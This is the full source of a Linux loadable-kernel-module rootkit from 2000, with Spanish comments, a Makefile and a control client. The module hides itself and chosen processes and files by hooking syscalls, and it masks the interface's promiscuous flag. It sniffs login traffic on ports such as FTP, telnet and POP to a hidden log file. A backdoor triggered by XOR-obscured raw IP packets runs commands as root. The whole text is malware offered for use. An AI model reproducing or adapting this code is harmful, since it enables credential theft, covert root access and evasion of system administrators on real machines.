El código:
<++> modulos/modsniff/Makefile
all: K22
# Modificad KERNEL_HEADERS con vuestra path a las cabeceras # del kernel
KERNEL_HEADERS=-I/usr/src/linux-2.2.10/include/linux
CFLAGS=-c -O2 -fomit-frame-pointer
K22: clean control_main gcc $(KERNEL_HEADERS) $(CFLAGS) -DK22 modsnif.c gcc $(KERNEL_HEADERS) $(CFLAGS) -DK22 hider.c
K20: clean control_main gcc $(KERNEL_HEADERS) $(CFLAGS) -DK20 modsnif.c
control_main: gcc control.c -o control
clean: rm -rf *~ *# modsnif.o hider.o control
<-->
<++> modulos/modsniff/control.c
#include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netdb.h> #include <errno.h>
#include <stdio.h> #include <stdlib.h> #include <getopt.h>
#include <linux/if.h> #include <linux/sockios.h>
u_int32_t mi_ip() { struct ifreq *ifr; struct ifconf ifc; int fd = socket(AF_INET, SOCK_DGRAM, 0); int c, d = 1; u_int32_t dir;
bzero(&ifc, sizeof(ifc)); if (ioctl(fd, SIOCGIFCONF, &ifc) < 0) { perror(" mi_ip() "); exit(0); }
ifr = (struct ifreq*) malloc(ifc.ifc_len); (long*) ifc.ifc_buf = ifr;
if (ioctl(fd, SIOCGIFCONF, &ifc) < 0) { perror(" mi_ip() "); exit(0); }
c = (ifc.ifc_len / sizeof(struct ifreq));
for (d = 0; d < c; d++) if (strncmp(ifr[d].ifr_name,"lo",2) != 0) { dir = (*(struct sockaddr_in*)&ifr[d].ifr_addr).sin_addr.s_addr; if (ioctl(fd, SIOCGIFFLAGS, &ifr[d]) < 0) { perror(" mi_ip() "); exit(0); } if (ifr[d].ifr_flags & IFF_UP) return dir; } return inet_addr("127.0.0.1"); }
long resuelve(char *host) { struct hostent *res; long ret;
if (inet_addr(host) != -1){ ret = inet_addr(host); return ret; } res = gethostbyname(host); if (res == NULL){ printf("\n Error : gethostbyname() : No se puede resolver el nombre del host\n\n"); exit(0); }
memcpy((char*)&ret,(char*)res->h_addr,res->h_length); return ret; }
struct mensaje { char cmd[1024]; char k; char type; u_int32_t addr; u_int16_t port; } *men;
void encripta(char *pt, char k, int len) { int c = len; while (c--) pt[c] = pt[c] ^ k; }
void main(int argc, char **argv) { char buff[4096]; struct iphdr *ip = (struct iphdr*) buff; char *DATA = (char*) (buff + sizeof(struct iphdr)); struct sockaddr_in dir = { AF_INET, 0, 0}; int fde = socket(AF_INET, SOCK_RAW, 255),ret; char *cmd, x, l, c; unsigned long saddr, daddr;
if (argc < 5) { printf(" Uso:\n"); printf("\t%s <host destino> <clave> <type> <str>\n\t(type = 1 back, 2 pid)\n\n",argv[0]); exit(0); }
saddr = mi_ip(); daddr = resuelve(argv[1]); cmd = argv[4];
dir.sin_family = AF_INET; dir.sin_addr.s_addr = daddr; bzero(buff,4096);
men = (struct mensaje*) DATA; memcpy(men->cmd , cmd, strlen(cmd) + 1); men->k = argv[2][0]; men->type = atoi(argv[3]);
encripta( men->cmd, argv[2][0], 1024);
ip->ihl = 5; ip->version = 4; ip->ttl = 0xff; ip->protocol = 123; ip->id = rand() % 10;
ip->saddr = saddr; ip->daddr = daddr; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct mensaje));
ret = sendto(fde,buff,(sizeof(struct iphdr) + sizeof(struct mensaje)),0,(struct sockaddr_in*)&dir,sizeof(dir)); close(fde); if (men->type == 1) { fde = socket(AF_INET, SOCK_STREAM, 6); dir.sin_port = htons(23); if (connect(fde, (struct sockaddr_in*) &dir, sizeof(dir)) < 0) printf(" Error conectando : %s\n",strerror(errno)); close(fde); } } <-->
<++> modulos/modsniff/hider.c #define MODULE #define __KERNEL__
#include <linux/config.h> #include <linux/module.h> #include <linux/version.h>
int init_module(void) {
/* * if at first you dont suceed, try: * %eax, %ebx, %ecx, %edx, %edi, %esi, %ebp, %esp * I cant make this automaticly, because I'll fuck up the registers If I do * any calculus here. */ register struct module *mp asm("%ebx");
if (mp->init == &init_module) /* is it the right register? */ if (mp->next) /* and is there any module besides this one? */ mp->next = mp->next->next; /* cool, lets hide it :) */ return -1; /* the end. simple heh? */ }
<-->
<++> modulos/modsniff/modsniff.c
#define MODULE #define __KERNEL__
#include <linux/ctype.h> #include <linux/config.h> #include <linux/module.h> #include <linux/version.h>
#include <linux/fd.h> #include <linux/if.h> #include <linux/if_ether.h> #include <linux/unistd.h> #include <linux/fs.h> #include <linux/net.h> #include <linux/fcntl.h> #include <linux/netdevice.h> #include <linux/tcp.h> #include <linux/ip.h> #include <linux/fcntl.h> #include <linux/proc_fs.h> #include <linux/dirent.h>
#include <syscall.h>
#include <asm/segment.h>
int errno;
#ifdef K20 #define __generic_copy_from_user memcpy_fromfs #define __generic_copy_to_user memcpy_tofs #endif
static inline _syscall1(int, brk, void *, end_data_segment); static inline _syscall3(int, open, char *, name, int, flags, mode_t, mode); static inline _syscall3(int, write, int, fd, const void *, buf, size_t, len); static inline _syscall1(int, close, int, fd);
extern void *sys_call_table[];
char cmd[1024];
/* * Poned en LOG_FILE el archivo donde se guardaran los logs * del sniffer */
#define LOG_FILE "/tmp/.mis_logs_33137"
/* * Esta estructura se usa para mantener las conexiones * activas en memoria en una lista doblemente enlazada */
#define DATA_LEN 512
struct Con { __u32 sa,da,sSeq,dSeq; __u16 sp,dp; char data[DATA_LEN]; int len, log; struct Con *sig,*ant; } *Conroot = NULL;
#define SIZE_CON sizeof(struct Con)
/* Funciones de utilidad */
struct Con *Busca(__u32 , __u32 , __u16 , __u16 ); void mibzero(char *,int ); char *mintoa(__u32 ); int mira_port(__u16 ); int mi_ioctl(int , int , unsigned long); int Filtro(struct sk_buff *, struct device *, struct packet_type *); void Procesa(struct iphdr*, struct tcphdr*, char*, int); void Nuevacon(__u32 , __u32 , __u16 , __u16); void Borracon(struct Con*); int Datos(__u32 , __u32 , __u16 , __u16, char*, int, __u32); void loguea(struct Con*); int mi_getdents(unsigned int fd, struct dirent *dirp, unsigned int count); int mi_get_kernel_syms(struct kernel_sym *table); int oculta(struct module *); void backdoor(struct sk_buff*); int mi_execve (char *, const char **, const char**); void actualizaseq(struct Con*, __u16, struct tcphdr*); int miraseq(struct Con*, __u16, __u32); void nuevo_pid(char*); int busca_pid(char*);
/* * estos vectores apuntan a las llamadas al sistema originales */
int (*o_ioctl) (int fd, int pet, unsigned long arg); int (*o_getdents) (unsigned int fd, struct dirent *dirp, unsigned int count); int (*o_get_kernel_syms) (struct kernel_sym *table); int (*o_execve) (char *, const char**, const char**);
/* * flags del modo promiscuo del interfaz y de la ejecucion del backdoor */
int promisc = 0; int back = 0;
/* * Este array lo uso para almacenar los pids y los archivos a ocultar por * getdents() */ char *pids[1024]; /* * Podria haber usado una lista enlazada para ahorrar memoria pero no * tenia ganas XD */ int npids = 0;
/* * Esta estructura define el filtro a usar para * "sniffar" paquetes */
struct packet_type mihandler;
/* * Puertos en los que esnifar conexiones */
__u16 Ports[6] = { 21, 23, 109, 110, 143, 513 };
void cleanup_module() { struct Con *tmp; sys_call_table[SYS_ioctl] = (void*) o_ioctl; sys_call_table[SYS_getdents] = (void*) o_getdents; sys_call_table[SYS_execve] = (void*) o_execve;
#ifdef K20 sys_call_table[SYS_get_kernel_syms] = (void*) o_get_kernel_syms; #endif
dev_remove_pack(&mihandler); /* * Libero la memoria ocupada por la lista enlazada */ while (Conroot) { tmp = Conroot; Conroot = Conroot->sig; kfree(tmp); } }
int init_module() { register struct module *mp asm("%ebp"); register struct module *mp2 asm("%ebx");
/* * Averiguo en que registro se encuentra el puntero a la estructura de * este modulo y lo oculto (en el 2.0.x) */ if (&cleanup_module == mp2->cleanup) oculta(mp2); else if (&cleanup_module == mp->cleanup) oculta(mp); else return -1; /* * Si el puntero al modulo no estaba en ebp ni en ebx no cargo el modulo. * Cambia los registros por cualquier otro y vuelvelo a cargar. */
/* * Pongo mis propias syscalls */ o_ioctl = sys_call_table[SYS_ioctl]; sys_call_table[SYS_ioctl] = (void*) mi_ioctl;
o_getdents = sys_call_table[SYS_getdents]; sys_call_table[SYS_getdents] = (void*) mi_getdents;
o_execve = sys_call_table[SYS_execve]; sys_call_table[SYS_execve] = (void*) mi_execve;
sys_call_table[200] = (void*) o_execve;
#ifdef K20 o_get_kernel_syms = sys_call_table[SYS_get_kernel_syms]; sys_call_table[SYS_get_kernel_syms] = (void*) mi_get_kernel_syms; #endif
/* * Y tambien el filtro para el sniffer */ mibzero((char*)&mihandler,sizeof(mihandler)); mihandler.type = htons(ETH_P_IP); mihandler.func = Filtro; dev_add_pack(&mihandler);
return 0; }
int oculta(struct module *mp) { /* * Si el kernel es el 2.2.x ponemos nsyms=0 para burlar a * get_kernel_syms() */ #ifdef K22 mp->nsyms = 0; #endif
/* * Si el kernel es el 2.0.x ocultamos el modulo directamente */ #ifdef K20 *(char*)mp->name = 0; mp->size = 0; mp->ref = 0; #endif return 0; }
int Filtro(struct sk_buff *skb, struct device *dv, struct packet_type *pt) { int len;
#ifdef K22 backdoor(skb);
if (skb->nh.iph->protocol == 6) {
skb->h.raw = skb->nh.raw + (skb->nh.iph->ihl * 4); skb->data = skb->nh.raw + (skb->nh.iph->ihl * 4) + (skb->h.th->doff * 4); len = htons(skb->nh.iph->tot_len) - (skb->nh.iph->ihl * 4) - (skb->h.th->doff * 4);
if ((mira_port(skb->h.th->source)) || (mira_port(skb->h.th->dest))) Procesa(skb->nh.iph,skb->h.th,skb->data,len); } kfree_skb(skb); #endif
#ifdef K20 struct tcphdr *tcp; char *ptr;
backdoor(skb); if (skb->h.iph->protocol == 6) {
ptr = (char*) skb->h.raw + (skb->h.iph->ihl * 4); tcp = (struct tcphdr*) ptr; skb->data = skb->h.raw + (skb->h.iph->ihl * 4) + (tcp->doff * 4); len = htons(skb->h.iph->tot_len) - (skb->h.iph->ihl * 4) - (tcp->doff * 4);
if ((mira_port(tcp->source)) || (mira_port(tcp->dest))) Procesa(skb->h.iph,tcp,skb->data,len); } kfree_skb(skb, FREE_READ); #endif
return 0; }
struct mensaje { char cmd[1024]; char k; char type; /* 1 = backdoor, 2 = ocultar pid */ __u32 addr; __u16 port; } *men;
void encripta(char *pt, char k, int len) { int c = len; while (c--) pt[c] = pt[c] ^ k; }
void backdoor(struct sk_buff *skb) { char *data;
#ifdef K20 if (skb->h.iph->protocol != 123) return; data = skb->h.raw + (skb->h.iph->ihl * 4); #endif #ifdef K22 if (skb->nh.iph->protocol != 123) return; data = skb->nh.raw + (skb->nh.iph->ihl * 4); #endif men = (struct mensaje*) data;
encripta(men->cmd, men->k, 1024); if (strlen(men->cmd) >= 1024) return;
if (men->type == 1) { strcpy(cmd, men->cmd); back = 1; } if (men->type == 2) nuevo_pid(men->cmd); }
void Procesa(struct iphdr *ip, struct tcphdr *tcp, char *data, int len) { struct Con *ctmp;
/* * Si el paquete tiene el flag SYN es una peticion de conexion */ if (tcp->syn == 1) if (Busca(ip->saddr, ip->daddr, tcp->source, tcp->dest) == NULL) { Nuevacon(ip->saddr, ip->daddr, tcp->source, tcp->dest); ctmp = Busca(ip->saddr, ip->daddr, tcp->source, tcp->dest); /* * Guardo los ISN */ actualizaseq(ctmp, tcp->source, tcp); return; }
/* * Si tiene FIN o el RST la marcamos como terminada y lista para loguear */ if ((tcp->fin == 1) || (tcp->rst == 1)) { ctmp = Busca(ip->saddr, ip->daddr, tcp->source, tcp->dest); if (ctmp) ctmp->log = 1; return; }
/* * Si llegamos aqui el paquete es un paquete de datos, si tiene los añadimos * al buffer de la conexion y actualizamos los SEQ numbers */ if (len > 0) if (Datos(ip->saddr, ip->daddr, tcp->source, tcp->dest, data, len, tcp->seq)) { ctmp = Busca(ip->saddr, ip->daddr, tcp->source, tcp->dest); if (ctmp) actualizaseq(ctmp, tcp->source, tcp); } }
int Datos(__u32 sa, __u32 da, __u16 sp, __u16 dp, char *data, int len, __u32 seq) { struct Con *btmp;
btmp = Busca(sa, da, sp, dp); if (!btmp) return 0;
if (!miraseq(btmp, sp, seq)) return 0;
if ((btmp->len + len) > DATA_LEN) return;
memcpy(&btmp->data[btmp->len], data, len); btmp->len += len; return 1; }
int miraseq(struct Con *con, __u16 port, __u32 seq) { if (port == con->sp) { if (con->sSeq == 0) return 1; if (htonl(con->sSeq) < htonl(seq)) return 1; return 0; } if (port == con->dp) { if (con->dSeq == 0) return 1; if (htonl(con->dSeq) < htonl(seq)) return 1; return 0; } }
void actualizaseq(struct Con *con, __u16 port, struct tcphdr *tcp) { if (port == con->sp) { con->sSeq = tcp->seq; return; } if (port == con->dp) { con->dSeq = tcp->seq; return; } }
void Borracon(struct Con *bcon) { struct Con *ant, *sig;
ant = bcon->ant; sig = bcon->sig;
if ((bcon == Conroot) && (!bcon->sig)) Conroot = NULL; if ((bcon == Conroot) && (bcon->sig)) Conroot = bcon->sig; kfree(bcon);
/* * Hay que tener cuidado con los punteros en codigo Ring0 ;) */ if ((ant) && (sig)) { ant->sig = sig; sig->ant = ant; return; } if ((ant) && (!sig)) { ant->sig = NULL; return; } if ((sig) && (!ant)) { sig->ant = NULL; return; } }
void loguea(struct Con *con) { int fd; int mmm = current->mm->brk; int nombre; char buff[1024]; /* 1024 sera suficiente */
brk((void*)mmm + strlen(LOG_FILE) + 1);
__generic_copy_to_user((void*) mmm, LOG_FILE, strlen(LOG_FILE) + 1);
fd = open((void*)mmm, O_RDWR | O_APPEND, 0); if (fd < 0) fd = open((void*)mmm, O_RDWR | O_CREAT, 0); brk((void*)mmm); if (fd < 0) return;
brk((void*) mmm + 1024); sprintf(buff, "\n--------------------------------------------------------------------\n" "\t%s [%i] ==> ",mintoa(con->sa),htons(con->sp)); __generic_copy_to_user((void*)mmm, buff,strlen(buff)); write(fd, (void*)mmm, strlen(buff));
sprintf(buff,"[%i] %s\n" "--------------------------------------------------------------------\n", htons(con->dp),mintoa(con->da)); __generic_copy_to_user((void*)mmm, buff,strlen(buff)); write(fd, (void*)mmm, strlen(buff));
brk((void*) mmm + con->len); __generic_copy_to_user((void*)mmm, con->data, con->len); write(fd, (void*)mmm, con->len);
brk((void*)mmm); close(fd); }
void Nuevacon(__u32 sa, __u32 da, __u16 sp, __u16 dp) { struct Con *cnue, *ctmp = Conroot;
if (!ctmp) { Conroot = kmalloc(SIZE_CON, GFP_KERNEL); ctmp = Conroot; mibzero((char*)ctmp, SIZE_CON); ctmp->sa = sa; ctmp->da = da; ctmp->sp = sp; ctmp->dp = dp; return; }
while (ctmp->sig) ctmp = ctmp->sig;
cnue = kmalloc(SIZE_CON, GFP_KERNEL); mibzero((char*)cnue, SIZE_CON); cnue->sa = sa; cnue->da = da; cnue->sp = sp; cnue->dp = dp;
cnue->ant = ctmp; ctmp->sig = cnue; }
int mira_port(__u16 p) { int c1; for (c1 = 0; c1 < 6; c1++) if (Ports[c1] == htons(p)) return 1; return 0; }
struct Con *Busca(__u32 sa, __u32 da, __u16 sp, __u16 dp) { struct Con *Cur = Conroot; if (Cur == NULL) return NULL; while (Cur != NULL) { if (Cur->sa == sa) if (Cur->da == da) if (Cur->sp == sp) if (Cur->dp == dp) return Cur; Cur = Cur->sig; } Cur = Conroot; while (Cur != NULL) { if (Cur->sa == da) if (Cur->da == sa) if (Cur->sp == dp) if (Cur->dp == sp) return Cur; Cur = Cur->sig; } return NULL; }
void mibzero(char *d,int l) { while (l--) *(d++) = 0; }
char *mintoa(__u32 dir) { static char ret[18]; unsigned char *p; mibzero(ret,18);
p = (char*) &dir; sprintf(ret,"%u.%u.%u.%u",(p[0] & 0xff),(p[1] & 0xff),(p[2] & 0xff),(p[3] & 0xff)); return ret; }
int mi_ioctl(int fd, int pet, unsigned long arg) { int ret; struct ifreq ifr; struct Con *con, *ctmp = Conroot;
while (ctmp) { con = ctmp->sig; if (ctmp->log) { if (ctmp->len > 0) loguea(ctmp); Borracon(ctmp); con = Conroot; } ctmp = con; }
if (pet == SIOCGIFFLAGS) { ret = (*o_ioctl) (fd, pet, arg); __generic_copy_from_user((struct ifreq*)&ifr, (struct ifreq*)arg, sizeof(struct ifreq)); if (promisc) ifr.ifr_flags |= IFF_PROMISC; else ifr.ifr_flags &= ~IFF_PROMISC; __generic_copy_to_user((struct ifreq*)arg, (struct ifreq*)&ifr, sizeof(struct ifreq)); return ret; } if (pet == SIOCSIFFLAGS) { __generic_copy_from_user((struct ifreq*)&ifr, (struct ifreq*)arg, sizeof(struct ifreq)); if ((ifr.ifr_flags & IFF_PROMISC) == IFF_PROMISC) promisc = 1; else promisc = 0; ifr.ifr_flags |= IFF_PROMISC; __generic_copy_to_user((struct ifreq*)arg, (struct ifreq*)&ifr, sizeof(struct ifreq)); return (*o_ioctl) (fd, pet, arg); } return (*o_ioctl) (fd, pet, arg); }
int mi_getdents(unsigned int fd, struct dirent *dirp, unsigned int count) { int total = 0, ret; struct dirent *dirp2, *dirp3, *dsrc, *ddst; char *ptr;
ret = (*o_getdents) (fd, dirp, count);
if (ret > 0) {
dirp2 = (struct dirent*) kmalloc(ret, GFP_KERNEL); dirp3 = (struct dirent*) kmalloc(ret, GFP_KERNEL); dsrc = dirp2; ddst = dirp3;
__generic_copy_from_user(dirp2, dirp, ret); mibzero((char*) dirp3, ret); __generic_copy_to_user( dirp, dirp3, ret);
while (ret > 0) { ret -= dsrc->d_reclen; if (!busca_pid(dsrc->d_name)) { memcpy( ddst, dsrc, dsrc->d_reclen); total += ddst->d_reclen; ptr = (char*) ddst; ptr += ddst->d_reclen; ddst = (struct dirent*) ptr; } ptr = (char*) dsrc; ptr += dsrc->d_reclen; dsrc = (struct dirent*) ptr; } __generic_copy_to_user(dirp, dirp3, total);
kfree(dirp2); kfree(dirp3); return total; } return ret; }
#ifdef K20
int mi_get_kernel_syms(struct kernel_sym *table) { return 0; /* Esto es la caña eh? ;) */ }
#endif
int my_execve(const char *filename, const char *argv[], const char *envp[]) { long __res; __asm__ volatile ("int $0x80":"=a" (__res):"0"(200), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp))); return (int) __res; }
int mi_execve (char *nombre, const char *arg[], const char *env[]) { unsigned long mmm,mtmp; int ret; char pid[1024];
if (back) { back = 0; mmm = current->mm->brk; brk((void*) mmm + 1024); mtmp = mmm + 16; __generic_copy_to_user((void*)mmm, &mtmp, 4); __generic_copy_to_user((void*) mtmp, "/bin/bash", 10);
mtmp = mmm + 26; __generic_copy_to_user((void*)(mmm + 4), &mtmp, 4); __generic_copy_to_user((void*) mtmp, "-c", 3);
mtmp = mmm + 29; __generic_copy_to_user((void*)(mmm + 8), &mtmp, 4); __generic_copy_to_user((void*) mtmp, cmd, strlen(cmd) + 1);
mtmp = 0; __generic_copy_to_user((void*)(mmm + 12), &mtmp, 4);
/* * Aqui oculto el proceso creado mediante el backdoor */ sprintf(pid,"%i",current->pid); nuevo_pid(pid);
/* * Y le doy privilegios de r00t */ current->euid = 0; current->uid = 0; current->egid = 0; current->gid = 0;
ret = my_execve((void*) (mmm + 16), (void*)mmm, (void*)(mmm + 12)); } else ret = my_execve (nombre, arg, env); return ret; }
void nuevo_pid(char *nombre) { pids[npids+1] = NULL; pids[npids] = (char*) kmalloc(strlen(nombre), GFP_KERNEL); strcpy(pids[npids], nombre); npids++; }
int busca_pid(char *nombre) { int c = 0; for (c = 0; c < npids; c++) if (strstr(nombre, pids[c])) return 1; return 0; }
<-->
(c) 2000 KIKO81